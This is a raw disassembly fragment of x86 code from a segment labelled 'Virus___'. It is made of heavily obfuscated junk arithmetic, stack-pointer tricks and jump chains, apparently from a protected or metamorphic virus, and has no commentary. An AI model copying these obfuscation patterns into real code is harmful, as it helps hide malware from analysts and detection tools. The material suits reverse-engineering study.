		add	esi, 5B156108h
		add	esi, ecx
		sub	esi, 5B156108h
		pop	ecx
		push	edi
		mov	edi, 2
		add	esi, edi
		pop	edi
		xchg	esi, [esp]
		mov	esp, [esp]
		jmp	loc_5755EB
; ---------------------------------------------------------------------------


loc_573968:				; CODE XREF: Virus___:0057AB3Cj
		pop	ecx
		sub	esp, 4
		jmp	loc_57BD04
; ---------------------------------------------------------------------------


loc_573971:				; CODE XREF: Virus___:005762F8j
		pop	esi
		add	edx, eax
		mov	eax, [esp]
		add	esp, 4
		add	edx, 67421454h
		add	edx, eax
		sub	edx, 67421454h
		sub	edx, 3F42D98h
		jmp	loc_5729F6
; ---------------------------------------------------------------------------


loc_573996:				; CODE XREF: Virus___:0057B308j
		mov	eax, [esp]
		jmp	loc_573326
; ---------------------------------------------------------------------------


loc_57399E:				; CODE XREF: Virus___:0057CF75j
		push	7365h
		mov	[esp], ecx
		push	esp
		pop	ecx
		jmp	loc_57BAE8
; ---------------------------------------------------------------------------


loc_5739AD:				; CODE XREF: Virus___:00576798j
		sub	esp, 4
		mov	[esp], edx
		push	ecx
		mov	ecx, 21DD5BEDh
		jmp	loc_576F94
; ---------------------------------------------------------------------------
		push	15ABh
		sub	esp, 4
		jmp	loc_5779C7
; ---------------------------------------------------------------------------
		lodsd
		push	eax
		mov	eax, 6F681AF6h
		not	eax
		add	eax, 8B642EECh
		sub	esi, eax
		pop	eax
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 4F02044h
		push	ebp
		mov	ebp, 1FB413A6h
		add	ebx, ebp
		jmp	loc_578F9A
; ---------------------------------------------------------------------------


loc_5739F7:				; CODE XREF: Virus___:00578186j
		mov	esi, 266F0785h
		jmp	loc_57600E
; ---------------------------------------------------------------------------
		db 89h,	2 dup(24h)
; ---------------------------------------------------------------------------
		add	dword ptr [esp], 4
		pop	edx
		add	edx, 4
		push	561Ch
		mov	[esp], edi
		mov	edi, 9F130F7h
		shl	edi, 8
		neg	edi
		push	edx
		push	ecx
		mov	ecx, 424F66F1h
		jmp	loc_57BFC7
; ---------------------------------------------------------------------------


loc_573A30:				; CODE XREF: Virus___:00577474j
		not	ebx
		add	ebx, 29C16CC2h
		add	edx, ebx
		mov	ebx, [esp]
		add	esp, 4
		add	edx, 4
		jmp	loc_57683B
; ---------------------------------------------------------------------------


loc_573A4B:				; CODE XREF: Virus___:005758F8j
		xor	ebp, eax
		jmp	loc_57D917
; ---------------------------------------------------------------------------


loc_573A52:				; CODE XREF: Virus___:0057682Fj
		add	ebx, 77BC3ADBh
		sub	ebx, 0D3C1581h
		add	ebx, esi
		add	ebx, 0D3C1581h
		sub	ebx, 77BC3ADBh
		jmp	loc_577591
; ---------------------------------------------------------------------------


loc_573A71:				; CODE XREF: Virus___:00572A15j
		shl	edi, 7
		add	edi, 6B7E2E73h
		add	ebx, 6F5705F4h
		sub	ebx, 6E0E1D97h
		add	ebx, edi
		add	ebx, 6E0E1D97h
		sub	ebx, 6F5705F4h
		jmp	loc_57348F
; ---------------------------------------------------------------------------


loc_573A99:				; CODE XREF: Virus___:005751BDj
		mov	eax, 64C73E15h
		jmp	loc_578850
; ---------------------------------------------------------------------------


loc_573AA3:				; CODE XREF: Virus___:00575D00j
		add	esp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_5729F6
; ---------------------------------------------------------------------------


loc_573AAF:				; CODE XREF: Virus___:00579D8Fj
		push	edx
		mov	edx, 0D467BF0h
		shr	edx, 2
		neg	edx
		xor	edx, 0A4A42E00h
		add	ecx, edx
		jmp	loc_578CB7
; ---------------------------------------------------------------------------


loc_573AC7:				; CODE XREF: Virus___:005772E3j
		or	ebx, 75E946E0h
		jmp	loc_578FF7
; ---------------------------------------------------------------------------
		lodsb
		sub	al, 5Ch
		add	al, 0DDh
		push	ebx
		mov	bh, 18h
		shl	bh, 2
		inc	bh
		sub	bh, 2Dh
		sub	al, bh
		jmp	loc_575C10
; ---------------------------------------------------------------------------


loc_573AE9:				; CODE XREF: Virus___:0057B804j
		pop	ecx
		push	221Ah
		jmp	loc_574C3C
; ---------------------------------------------------------------------------


loc_573AF4:				; CODE XREF: Virus___:0057BA43j
		push	ebp
		jmp	loc_57A951
; ---------------------------------------------------------------------------


loc_573AFA:				; CODE XREF: Virus___:00579DECj
		pop	ebx
		shl	eax, 1
		jmp	loc_57502F
; ---------------------------------------------------------------------------


loc_573B02:				; CODE XREF: Virus___:005756FCj
		mov	[esp], ebp
		mov	ebp, 3BA2065h
		xchg	edi, ebp
		not	edi
		xchg	edi, ebp
		sub	ebp, 8AE161E3h
		sub	edi, 3B46ECAh
		sub	edi, ebp
		add	edi, 3B46ECAh
		jmp	loc_57E3FE
; ---------------------------------------------------------------------------


loc_573B29:				; CODE XREF: Virus___:0057BF6Fj
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_576E63
; ---------------------------------------------------------------------------


loc_573B3B:				; CODE XREF: Virus___:0057AB90j
		pop	ecx
		xchg	esi, [esp]
		pop	esp
		mov	[esp], ebx
		push	esp
		pop	ebx
		push	ecx
		mov	ecx, 53733AE7h
		sub	ecx, 53733AE3h
		add	ebx, ecx
		pop	ecx
		add	ebx, 4
		jmp	loc_5792A9
; ---------------------------------------------------------------------------


loc_573B5F:				; CODE XREF: Virus___:0057AC17j
		push	esi
		mov	esi, 16415DECh
		sub	esi, 0D8AC33F0h
		mov	edx, esi
		pop	esi
		jmp	loc_572B14
; ---------------------------------------------------------------------------


loc_573B73:				; CODE XREF: Virus___:005781A8j
		add	esp, 4
		add	esi, 4
		push	esi
		jmp	loc_57923F
; ---------------------------------------------------------------------------


loc_573B7F:				; CODE XREF: Virus___:0057D7F8j
		pop	ebx
		neg	ebx
		add	ebx, 5CE1219Fh
		push	ebx
		mov	ecx, [esp]
		add	esp, 4
		pop	ebx
		sub	ebp, ecx
		pop	ecx
		jmp	loc_57D403
; ---------------------------------------------------------------------------


loc_573B9B:				; CODE XREF: Virus___:00579F0Ej
		push	edx
		jmp	loc_575D99
; ---------------------------------------------------------------------------


loc_573BA1:				; CODE XREF: Virus___:00575890j
		push	dword ptr [esp+4]
		jmp	loc_5733FD
; ---------------------------------------------------------------------------


loc_573BAA:				; CODE XREF: Virus___:00577EDEj
		mov	edx, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		pop	esp
		jmp	loc_57B166
; ---------------------------------------------------------------------------


loc_573BCB:				; CODE XREF: Virus___:00577417j
		add	edi, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		or	eax, eax
		jz	loc_579A49
		push	2CD1h
		mov	[esp], edx
		push	esi
		push	edi
		jmp	loc_573DBC
; ---------------------------------------------------------------------------


loc_573BEB:				; CODE XREF: Virus___:005730C5j
		mov	eax, 2A1F1F9Ah
		jmp	loc_57679D
; ---------------------------------------------------------------------------


loc_573BF5:				; CODE XREF: Virus___:0057366Fj
		mov	dl, 1Dh
		mov	cl, 0DFh
		jmp	loc_577F48
; ---------------------------------------------------------------------------


loc_573BFE:				; CODE XREF: Virus___:00576410j
		inc	esi
		add	esi, 237D060Fh
		xor	esi, 39B955DEh
		jmp	loc_57675F
; ---------------------------------------------------------------------------


loc_573C10:				; CODE XREF: Virus___:00574D6Aj
		dec	ebx
		neg	ebx
		sub	ebx, 0FFFFFFFFh
		xor	ebx, 5FAB8000h
		sub	edx, 6AF6163Dh
		sub	edx, ebx
		add	edx, 6AF6163Dh
		mov	ebx, [esp]
		add	esp, 4
		xchg	edx, [esp]
		jmp	loc_57ABF8
; ---------------------------------------------------------------------------
unk_573C3B	db    0			; CODE XREF: Virus___:00579AFDj
; ---------------------------------------------------------------------------
		cmc
		pop	edx
		sub	al, ch
		pop	ecx
		jmp	loc_57BCB6
; ---------------------------------------------------------------------------


loc_573C46:				; CODE XREF: Virus___:0057602Dj
		pop	edx
		add	esp, 4
		or	eax, eax
		jnz	loc_57E2C6
		push	eax
		mov	eax, 1
		jmp	loc_577784
; ---------------------------------------------------------------------------


loc_573C60:				; CODE XREF: Virus___:0057B5F8j
		add	edx, edi
		jmp	loc_57C7A3
; ---------------------------------------------------------------------------


loc_573C67:				; CODE XREF: Virus___:00573118j
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	eax, [esp]
		sub	esp, 4
		mov	[esp], eax
		push	esp
		pop	eax
		push	ecx
		push	edi
		mov	edi, 5A5504AFh
		add	edi, 0DA341868h
		jmp	loc_579768
; ---------------------------------------------------------------------------


loc_573C8D:				; CODE XREF: Virus___:0057524Dj
		mov	edi, 59F12DAh
		add	edi, 2E991D10h
		or	edi, 6F7C363Eh
		or	edi, 23575689h
		dec	edi
		shr	edi, 6
		xor	edi, 1FDFDFBh
		jmp	loc_57A9F4
; ---------------------------------------------------------------------------


loc_573CB3:				; CODE XREF: Virus___:00579166j
		pop	esi
		jmp	loc_57CDBB
; ---------------------------------------------------------------------------


loc_573CB9:				; CODE XREF: Virus___:005793B4j
		xor	eax, [esp]
		pop	esp
		push	ecx
		push	ebx
		push	ecx
		jmp	loc_572A86
; ---------------------------------------------------------------------------


loc_573CC5:				; CODE XREF: Virus___:005795B0j
		pop	ebx
		dec	ebp
		xor	ebp, 2E677FE2h
		jmp	loc_5781E5
; ---------------------------------------------------------------------------


loc_573CD2:				; CODE XREF: Virus___:0057B341j
		mov	dh, bh
		mov	ebx, [esp]
		jmp	loc_57719F
; ---------------------------------------------------------------------------
		mov	ax, fs:[edx]
		push	3339h
		jmp	loc_576E29
; ---------------------------------------------------------------------------


loc_573CEA:				; CODE XREF: Virus___:0057D01Bj
		add	bl, 0
		mov	ax, [esp]
		add	esp, 2
		add	bl, al
		add	bl, 0C7h
		push	cx
		jmp	loc_57BCD8
; ---------------------------------------------------------------------------


loc_573D03:				; CODE XREF: Virus___:0057CBA0j
		sub	edx, 821B9A7Ch
		jmp	loc_57ED1C
; ---------------------------------------------------------------------------


loc_573D0E:				; CODE XREF: Virus___:00576AA0j
		mov	[esp], eax
		push	dword ptr [esp+4]
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_57A716
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		jmp	loc_5742F3
; ---------------------------------------------------------------------------


loc_573D2C:				; CODE XREF: Virus___:0057ED24j
		sub	ebp, 5C826899h
		pop	edx
		sub	ebp, 4
		jmp	loc_57E61E
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		jmp	loc_57D61C
; ---------------------------------------------------------------------------
		lodsd
		jmp	loc_57D80F
; ---------------------------------------------------------------------------


loc_573D4A:				; CODE XREF: Virus___:00579777j
		inc	esi
		shl	esi, 3
		add	esi, 3EC75EDCh
		sub	esi, 7C8478ABh
		and	ecx, esi
		jmp	loc_5799A4
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	eax
		push	esp
		mov	eax, [esp]
		push	ebx
		jmp	loc_57B12B
; ---------------------------------------------------------------------------


loc_573D70:				; CODE XREF: Virus___:00578873j
		xor	eax, 7AF23308h
		add	eax, 27C2C886h
		mov	edx, eax
		pop	eax
		jmp	loc_5786BD
; ---------------------------------------------------------------------------


loc_573D82:				; CODE XREF: Virus___:0057AF6Aj
		add	edi, 35D17F15h
		sub	edi, esi
		sub	edi, 35D17F15h
		pop	esi
		jmp	loc_57AA83
; ---------------------------------------------------------------------------


loc_573D96:				; CODE XREF: Virus___:00573696j
		add	eax, 5F21049Dh
		jmp	loc_577C1C
; ---------------------------------------------------------------------------


loc_573DA0:				; CODE XREF: Virus___:0057A63Dj
		or	ebp, edx
		pop	edx
		jmp	loc_57AB1D
; ---------------------------------------------------------------------------


loc_573DA8:				; CODE XREF: Virus___:005753C7j
		pop	edx
		pop	esi
		jmp	loc_574F0D
; ---------------------------------------------------------------------------


loc_573DAF:				; CODE XREF: Virus___:00579E5Cj
		not	ebp
		xor	ebp, 0CA1BBE3Ch
		jmp	loc_57792B
; ---------------------------------------------------------------------------


loc_573DBC:				; CODE XREF: Virus___:00573BE6j
		push	2C496AECh
		pop	edi
		inc	edi
		add	edi, 362FC394h
		mov	esi, edi
		pop	edi
		jmp	loc_57D0E0
; ---------------------------------------------------------------------------


loc_573DD1:				; CODE XREF: Virus___:0057E035j
		sub	ebp, 29D43BF2h
		add	ebp, eax
		add	ebp, 29D43BF2h
		pop	eax
		add	ebp, 2
		xor	ebp, [esp]
		xor	[esp], ebp
		jmp	loc_579021
; ---------------------------------------------------------------------------


loc_573DF1:				; CODE XREF: Virus___:00572B63j
		add	ecx, edi
		mov	eax, [ecx]
		pop	ecx
		jmp	loc_577B6D
; ---------------------------------------------------------------------------


loc_573DFB:				; CODE XREF: Virus___:00573713j
		pop	esi
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], eax
		mov	eax, 1
		or	[edi+1Ch], eax
		pop	eax
		jmp	loc_5729F6
; ---------------------------------------------------------------------------


loc_573E11:				; CODE XREF: Virus___:00575F25j
		xor	bh, 6Eh
		dec	bh
		neg	bh
		not	bh
		neg	bh
		jmp	loc_578E75
; ---------------------------------------------------------------------------


loc_573E21:				; CODE XREF: Virus___:0057E72Aj
		add	esp, 4
		push	7049h
		jmp	loc_57D45A
; ---------------------------------------------------------------------------


loc_573E31:				; CODE XREF: Virus___:0057B95Cj
		sub	bl, al
		sub	bl, 78h
		pop	eax
		push	edx
		push	bx
		mov	bh, 4Ah
		mov	dl, bh
		mov	bx, [esp]
		jmp	loc_576455
; ---------------------------------------------------------------------------


loc_573E47:				; CODE XREF: Virus___:0057A7C7j
		add	al, ch
		jmp	loc_57EAD5
; ---------------------------------------------------------------------------


loc_573E4E:				; CODE XREF: Virus___:00576AE1j
		sub	edx, 239E0B54h
		add	edx, ecx
		add	edx, 239E0B54h
		pop	ecx
		jmp	loc_57AD8D
; ---------------------------------------------------------------------------
		lodsd
		sub	esp, 4
		jmp	loc_57866A
; ---------------------------------------------------------------------------


loc_573E6B:				; CODE XREF: Virus___:00574A4Bj
		pop	esp
		dec	dword ptr [esp]
		pushf
		jmp	loc_5729F6
; ---------------------------------------------------------------------------


loc_573E75:				; CODE XREF: Virus___:0057D3E8j
		pop	ebp
		neg	esi
		jmp	loc_57AAC0
; ---------------------------------------------------------------------------


loc_573E7D:				; CODE XREF: Virus___:0057365Fj
		mov	esi, 40CF4CF1h
		neg	esi
		or	esi, 73610D43h
		xor	esi, 863E01h
		shr	esi, 7
		xor	esi, 1FFEF06h
		add	eax, 16230D23h
		add	eax, 4A0438D7h
		add	eax, esi
		jmp	loc_5752DF
; ---------------------------------------------------------------------------


loc_573EAA:				; CODE XREF: Virus___:0057BFC2j
		sub	esp, 4
		mov	[esp], ecx
		sub	esp, 4
		mov	[esp], esp
		jmp	loc_577B77
; ---------------------------------------------------------------------------


loc_573EBE:				; CODE XREF: Virus___:00572A78j
		push	3DD4h
		mov	[esp], ebp
		jmp	loc_57C680
; ---------------------------------------------------------------------------


loc_573ECB:				; CODE XREF: Virus___:0057A033j
		pop	eax
		shr	edx, 6
		sub	edx, 54175617h
		xor	edx, 57A1681h
		xor	edx, 0DD864831h
		add	eax, edx
		pop	edx
		jmp	loc_578DBC
; ---------------------------------------------------------------------------


loc_573EE9:				; CODE XREF: Virus___:00579A50j
		add	esp, 4
		push	edi
		push	esp
		pop	edi
		jmp	loc_575895
; ---------------------------------------------------------------------------


loc_573EF4:				; CODE XREF: Virus___:0057B12Dj
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		add	eax, 4
		jmp	loc_57DECD
; ---------------------------------------------------------------------------


loc_573F0E:				; CODE XREF: Virus___:00577103j
		push	ecx
		mov	ecx, 3A396Ch
		dec	ecx
		or	ecx, 3B0D3F57h
		neg	ecx
		add	ecx, 0A31969CCh
		xor	ebp, ecx
		pop	ecx
		mov	edx, ebp
		pop	ebp
		dec	edx
		jmp	loc_577867
; ---------------------------------------------------------------------------


loc_573F2F:				; CODE XREF: Virus___:00576040j
		push	dword ptr [edi+eax*4]
		sub	esp, 4
		mov	[esp], ebp
		push	edi
		jmp	loc_578B35
; ---------------------------------------------------------------------------


loc_573F41:				; CODE XREF: Virus___:0057C5BEj
		sub	ecx, 4EEA6610h
		add	ecx, 8EC59C21h
		sub	ebp, ecx
		pop	ecx
		mov	edi, ebp
		pop	ebp
		sub	eax, edi
		jmp	loc_57AE9C
; ---------------------------------------------------------------------------


loc_573F5A:				; CODE XREF: Virus___:0057A5D0j
		push	edi
		mov	edi, 7E9671Dh
		add	edi, 0FFFFFFFFh
		jmp	loc_575FAE
; ---------------------------------------------------------------------------


loc_573F6B:				; CODE XREF: Virus___:00574066j
		pop	ecx
		mov	esi, edi
		pop	edi
		and	eax, esi
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		or	eax, eax
		jz	loc_577D30
		sub	esp, 4
		mov	[esp], eax
		push	edx
		push	72AD1451h
		pop	edx
		shl	edx, 8
		sub	edx, 0AD1450E4h
		push	ebx
		mov	ebx, edx
		mov	eax, ebx
		pop	ebx
		jmp	loc_575B3A
; ---------------------------------------------------------------------------


loc_573FA7:				; CODE XREF: Virus___:0057B2DCj
		pop	dx
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_579A7F
; ---------------------------------------------------------------------------


loc_573FB4:				; CODE XREF: Virus___:0057CD28j
		pop	eax
		shl	eax, 1
		sub	eax, 66264257h
		neg	eax
		add	eax, 82079879h
		jmp	loc_576307
; ---------------------------------------------------------------------------


loc_573FC8:				; CODE XREF: Virus___:0057E120j
		add	dword ptr [esp], 4B64FB1h
		pop	ebp
		sub	ebp, 4B64FB1h
		pop	ecx
		sub	esi, ebp
		pop	ebp
		add	eax, esi
		pop	esi
		sub	eax, 59C23012h
		push	edx
		mov	edx, 7485056h
		xor	edx, 451D7DBFh
		sub	eax, edx
		pop	edx
		sub	eax, ebx
		add	eax, 42552DE9h
		jmp	loc_5788F0
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	ebx
		jmp	loc_5765D1
; ---------------------------------------------------------------------------


loc_574007:				; CODE XREF: Virus___:005744BBj
		sub	ecx, 15A53F83h
		pop	ebx
		rep movsd
		add	esp, [edx+38h]
		push	ebx
		mov	ebx, 38h
		jmp	loc_57308B
; ---------------------------------------------------------------------------


loc_57401E:				; CODE XREF: Virus___:00579831j
		or	edx, eax
		shl	edx, 1
		jmp	loc_574687
; ---------------------------------------------------------------------------


loc_574027:				; CODE XREF: Virus___:00579E28j
		add	cl, 0C7h
		and	al, cl
		pop	ecx
		sub	esp, 4
		mov	[esp], esi
		push	168Ch
		mov	[esp], esp
		jmp	loc_5757D8
; ---------------------------------------------------------------------------


loc_574040:				; CODE XREF: Virus___:0057A8D5j
		mov	eax, 4
		mov	esi, eax
		pop	eax
		push	eax
		jmp	loc_57B3E5
; ---------------------------------------------------------------------------


loc_57404E:				; CODE XREF: Virus___:00573130j
		mov	ebp, esp
		push	1F3Dh
		mov	[esp], edi
		push	ebp
		jmp	loc_57B7BA
; ---------------------------------------------------------------------------


loc_57405E:				; CODE XREF: Virus___:00576654j
		xor	ecx, 8D2E1DD9h
		add	edi, ecx
		jmp	loc_573F6B
; ---------------------------------------------------------------------------


loc_57406B:				; CODE XREF: Virus___:00578F24j
		mov	edi, 4
		add	edx, 22EF4854h
		add	edx, edi
		jmp	loc_57A0EB
; ---------------------------------------------------------------------------


loc_57407D:				; CODE XREF: Virus___:0057BE71j
		push	518Dh
		mov	[esp], eax
		mov	eax, ebp
		mov	edx, eax
		pop	eax
		jmp	loc_57D0F1
; ---------------------------------------------------------------------------


loc_57408F:				; CODE XREF: Virus___:0057ABCCj
		push	5B50h
		mov	[esp], eax
		jmp	loc_5729F6
; ---------------------------------------------------------------------------


loc_57409C:				; CODE XREF: Virus___:00578038j
		push	dword ptr [esp+4]
		jmp	loc_57C1C3
; ---------------------------------------------------------------------------


loc_5740A5:				; CODE XREF: Virus___:0057DEFBj
		mov	ebp, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	ecx
		mov	ecx, 4
		add	ebp, 5B323FF0h
		sub	ebp, 60742742h
		add	ebp, ecx
		jmp	loc_57D6A8
; ---------------------------------------------------------------------------


loc_5740CA:				; CODE XREF: Virus___:00577713j
		push	esp
		pop	esi
		push	edi
		jmp	loc_5748C7
; ---------------------------------------------------------------------------


loc_5740D2:				; CODE XREF: Virus___:0057EE20j
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		push	ecx
		jmp	loc_574C84
; ---------------------------------------------------------------------------


loc_5740E2:				; CODE XREF: Virus___:0057EA5Cj
		mov	[esp], ecx
		jmp	loc_578C58
; ---------------------------------------------------------------------------


loc_5740EA:				; CODE XREF: Virus___:0057879Bj
		pop	edi
		push	edx
		jmp	loc_574887
; ---------------------------------------------------------------------------


loc_5740F1:				; CODE XREF: Virus___:0057B2A0j
		push	ebx
		jmp	loc_575F23
; ---------------------------------------------------------------------------


loc_5740F7:				; CODE XREF: Virus___:005732B1j
		add	ebp, 5C847326h
		sub	ebp, ebx
		jmp	loc_57E98C
; ---------------------------------------------------------------------------


loc_574104:				; CODE XREF: Virus___:00578D7Cj
		not	edx
		jmp	loc_577A7F
; ---------------------------------------------------------------------------


loc_57410B:				; CODE XREF: Virus___:0057ED17j
		pop	ecx
		add	edx, ebp
		pop	ebp
		push	edx
		push	dword ptr [esp+4]
		mov	edx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		inc	dword ptr [esp]
		pushf
		jmp	loc_5729F6
; ---------------------------------------------------------------------------


loc_574129:				; CODE XREF: Virus___:005773B5j
		jmp	loc_5729F6
; ---------------------------------------------------------------------------


loc_57412E:				; CODE XREF: Virus___:00574E62j
		pop	ebx
		xor	al, ch
		mov	ecx, [esp]
		push	0B82h
		mov	[esp], eax
		mov	eax, esp
		jmp	loc_577D45
; ---------------------------------------------------------------------------


loc_574143:				; CODE XREF: Virus___:0057ECB8j
		mov	al, 0D0h
		jmp	loc_57B37A
; ---------------------------------------------------------------------------


loc_57414A:				; CODE XREF: Virus___:0057B2E6j
		xor	dh, al
		pop	ax
		sub	esp, 4
		mov	[esp], ecx
		mov	cl, 0B1h
		xor	dh, cl
		pop	ecx
		jmp	loc_577C4F
; ---------------------------------------------------------------------------


loc_57415E:				; CODE XREF: Virus___:00577ABBj
		push	esp
		jmp	loc_5751FE
; ---------------------------------------------------------------------------


loc_574164:				; CODE XREF: Virus___:0057BF40j
		push	ebp
		mov	ebp, 79434F23h
		add	ebp, 2F166870h
		xor	ebp, 77EA1179h
		add	ebp, 528324D3h
		add	ebp, 2E259D15h
		jmp	loc_573841
; ---------------------------------------------------------------------------


loc_574187:				; CODE XREF: Virus___:0057B672j
		pop	ebx
		pop	ebx
		sub	bl, 8Bh
		add	bl, 7Bh
		add	bl, 0DBh
		add	bl, 10h
		add	bl, al
		sub	bl, 10h
		push	small 1587h
		mov	[esp], dx
		mov	dh, 0DBh
		sub	bl, dh
		pop	dx
		sub	bl, 7Bh
		push	edx
		push	6BDCh
		mov	[esp], ebx
		mov	bh, 8Bh
		mov	dh, bh
		pop	ebx
		sub	bl, 49h
		add	bl, dh
		jmp	loc_57E6BE
; ---------------------------------------------------------------------------


loc_5741C3:				; CODE XREF: Virus___:00572D3Fj
		add	eax, ebp
		pop	ebp
		jmp	loc_57E060
; ---------------------------------------------------------------------------


loc_5741CB:				; CODE XREF: Virus___:00576E00j
		add	eax, ebx
		add	eax, 76BD0E98h
		add	eax, 2DC97F91h
		pop	ebx
		push	ebp
		mov	ebp, 2
		sub	eax, ebp
		jmp	loc_57C1E0
; ---------------------------------------------------------------------------


loc_5741E5:				; CODE XREF: Virus___:0057DA07j
		pop	edx
		jmp	loc_57D225
; ---------------------------------------------------------------------------


loc_5741EB:				; CODE XREF: Virus___:005787E2j
		pop	ecx
		jmp	loc_57CF60
; ---------------------------------------------------------------------------
		lodsd
		push	edi
		push	ebp
		push	0E703795h
		pop	ebp
		xchg	ecx, ebp
		not	ecx
		xchg	ecx, ebp
		and	ebp, 0E421A2Fh
		add	ebp, 0FFFFFFFFh
		jmp	loc_57C5B0
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcl	byte ptr [esp],	cl
		pushf
		jmp	loc_5729F6
; ---------------------------------------------------------------------------


loc_574220:				; CODE XREF: Virus___:0057A5D7j
		pop	ebx
		add	edx, 4
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		pop	esp
		jmp	loc_575B49
; ---------------------------------------------------------------------------


loc_574236:				; CODE XREF: Virus___:00577CAEj
		push	2F9F2593h
		pop	ebp
		sub	ebp, 17361E74h
		mov	edi, ebp
		pop	ebp
		push	edi
		pop	eax
		mov	edi, [esp]
		push	edi
		mov	edi, esp
		jmp	loc_578F02
; ---------------------------------------------------------------------------


loc_574252:				; CODE XREF: Virus___:0057A87Ej
		add	ebp, 6F1133CCh
		add	ebp, ebx
		jmp	loc_576910
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		jmp	loc_57EBEE
; ---------------------------------------------------------------------------


loc_574267:				; CODE XREF: Virus___:00579AE8j
		mov	esi, 4D9A6B79h
		neg	esi
		jmp	loc_57539B
; ---------------------------------------------------------------------------


loc_574273:				; CODE XREF: Virus___:005743A1j
		add	eax, ebx
		sub	eax, 416656B2h
		add	eax, 3CD01146h
		sub	eax, 2D0B750Ah
		mov	ebx, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_57369B
; ---------------------------------------------------------------------------


loc_57429B:				; CODE XREF: Virus___:00578D72j
		mov	ebx, [esp]
		add	esp, 4
		mov	ecx, [esp]
		add	esp, 4
		push	edx
		mov	edx, 4
		add	ecx, edx
		pop	edx
		add	ecx, 2
		push	ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		jmp	loc_57A9C9
; ---------------------------------------------------------------------------


loc_5742C4:				; CODE XREF: Virus___:0057E443j
		xchg	ebp, [esp]
		pop	esp
		push	dword ptr [eax]
		jmp	loc_5729F6
; ---------------------------------------------------------------------------


loc_5742CF:				; CODE XREF: Virus___:0057B21Dj
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_578F29
; ---------------------------------------------------------------------------


loc_5742DD:				; CODE XREF: Virus___:00579780j
		pop	eax
		neg	dl
		push	eax
		jmp	loc_57DC49
; ---------------------------------------------------------------------------


loc_5742E6:				; CODE XREF: Virus___:0057A305j
		push	ebp
		mov	ebp, 4
		add	eax, ebp
		jmp	loc_57BA31
; ---------------------------------------------------------------------------


loc_5742F3:				; CODE XREF: Virus___:00573D27j
		push	254Fh
		mov	[esp], ebp
		mov	ebp, esp
		push	eax
		mov	eax, 2F01683Dh
		shl	eax, 2
		push	ebp
		mov	ebp, 26562D0h
		push	ecx
		mov	ecx, 7E8515FCh
		jmp	loc_57E9FE
; ---------------------------------------------------------------------------


loc_574317:				; CODE XREF: Virus___:0057950Cj
		sub	ebp, 7F1C2E6Fh
		sub	ebp, 78C313Ah
		add	ebp, edi
		add	ebp, 78C313Ah
		add	ebp, 7F1C2E6Fh
		mov	edi, [esp]
		jmp	loc_57EF3F
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	ebp
		push	0E5Ch
		push	6788h
		jmp	loc_57D9A5
; ---------------------------------------------------------------------------


loc_57434D:				; CODE XREF: Virus___:0057C1DBj
		shr	byte ptr [esp],	cl
		pushf
		jmp	loc_577C61
; ---------------------------------------------------------------------------


loc_574356:				; CODE XREF: Virus___:0057E0B4j
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], edi
		push	esp
		pop	edi
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_57DCB5
; ---------------------------------------------------------------------------


loc_574385:				; CODE XREF: Virus___:0057ECD3j
		pop	esp
		jmp	loc_574ECC
; ---------------------------------------------------------------------------


loc_57438B:				; CODE XREF: Virus___:0057E87Dj
		xor	ebp, 951615F0h
		mov	ecx, ebp
		pop	ebp
		add	eax, ecx
		pop	ecx
		sub	eax, 3CD01146h
		add	eax, 416656B2h
		jmp	loc_574273
; ---------------------------------------------------------------------------


loc_5743A6:				; CODE XREF: Virus___:00573164j
		xor	ebp, 64385E6Bh
		jmp	loc_579D94
; ---------------------------------------------------------------------------


loc_5743B1:				; CODE XREF: Virus___:00576090j
		add	edx, edi
		jmp	loc_576B58
; ---------------------------------------------------------------------------


loc_5743B8:				; CODE XREF: Virus___:0057C67Bj
		and	esi, 3DC31469h
		xor	esi, 1D3C32E3h
		sub	eax, esi
		pop	esi
		sub	eax, esi
		push	esi
		mov	esi, 30B85F82h
		jmp	loc_57B01D
; ---------------------------------------------------------------------------


loc_5743D4:				; CODE XREF: Virus___:00579FB4j
		mov	eax, [esp]
		push	esi
		push	esp
		pop	esi
		jmp	loc_579817
; ---------------------------------------------------------------------------


loc_5743DF:				; CODE XREF: Virus___:0057B3CBj
		push	2CC1h
		mov	[esp], ecx
		mov	ecx, esp
		push	edi
		mov	edi, 11B22758h
		jmp	loc_57BA6E
; ---------------------------------------------------------------------------


loc_5743F4:				; CODE XREF: Virus___:0057AFFCj
		push	esp
		jmp	loc_574E31
; ---------------------------------------------------------------------------


loc_5743FA:				; CODE XREF: Virus___:0057A518j
		push	edx
		jmp	loc_572E2C
; ---------------------------------------------------------------------------


loc_574400:				; CODE XREF: Virus___:0057F00Fj
		pop	esi
		and	ebp, 207C564Ah
		sub	ebp, 0F61FAD4Bh
		xor	esi, ebp
		jmp	loc_57A767
; ---------------------------------------------------------------------------


